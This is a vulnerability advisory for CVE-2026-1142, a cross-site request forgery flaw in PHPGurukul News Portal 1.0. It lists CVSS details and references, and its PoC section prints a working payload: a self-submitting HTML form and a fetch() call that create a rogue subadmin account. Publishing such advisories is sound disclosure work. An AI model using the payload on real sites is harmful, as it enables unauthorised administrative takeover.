CVE-2026-1142

Description

A security flaw has been discovered in PHPGurukul News Portal 1.0. The impacted element is an unknown function. Performing a manipulation results in cross-site request forgery. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:phpgurukul:news_portal:1.0:*:*:*:*:*:*:* - VULNERABLE

PHPGurukul News Portal 1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!DOCTYPE html> <html> <head> <title>News Portal - Subadmin Creation</title> </head> <body> <h2>News Portal Subadmin Creation</h2> <form action="http://target-host/newsportal/admin/add-subadmin.php" method="POST" id="csrf-form"> <input type="hidden" name="username" value="malicious_admin"> <input type="hidden" name="email" value="[email protected]"> <input type="hidden" name="password" value="P@ssw0rd123"> <input type="hidden" name="submit" value=""> </form> <script> // Auto-submit form when page loads document.getElementById('csrf-form').submit(); </script> <p>Processing request...</p> </body> </html>  <script> fetch('http://target-host/newsportal/admin/add-subadmin.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'username=malicious_admin&[email protected]&password=P@ssw0rd123&submit=', credentials: 'include' }); </script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-1142
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-1142
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-1142/
[4] VulDB https://vuldb.com/cve/CVE-2026-1142
[5] https://github.com/Asim-QAZi/CSRF-Add-Subadmin-in-News-Portal-Project-in-PHP-and-MySql-in-PHPGurukul
[6] https://phpgurukul.com/
[7] https://vuldb.com/?ctiid.341734
[8] https://vuldb.com/?id.341734
[9] https://vuldb.com/?submit.735498

Raw JSON Data

JSON

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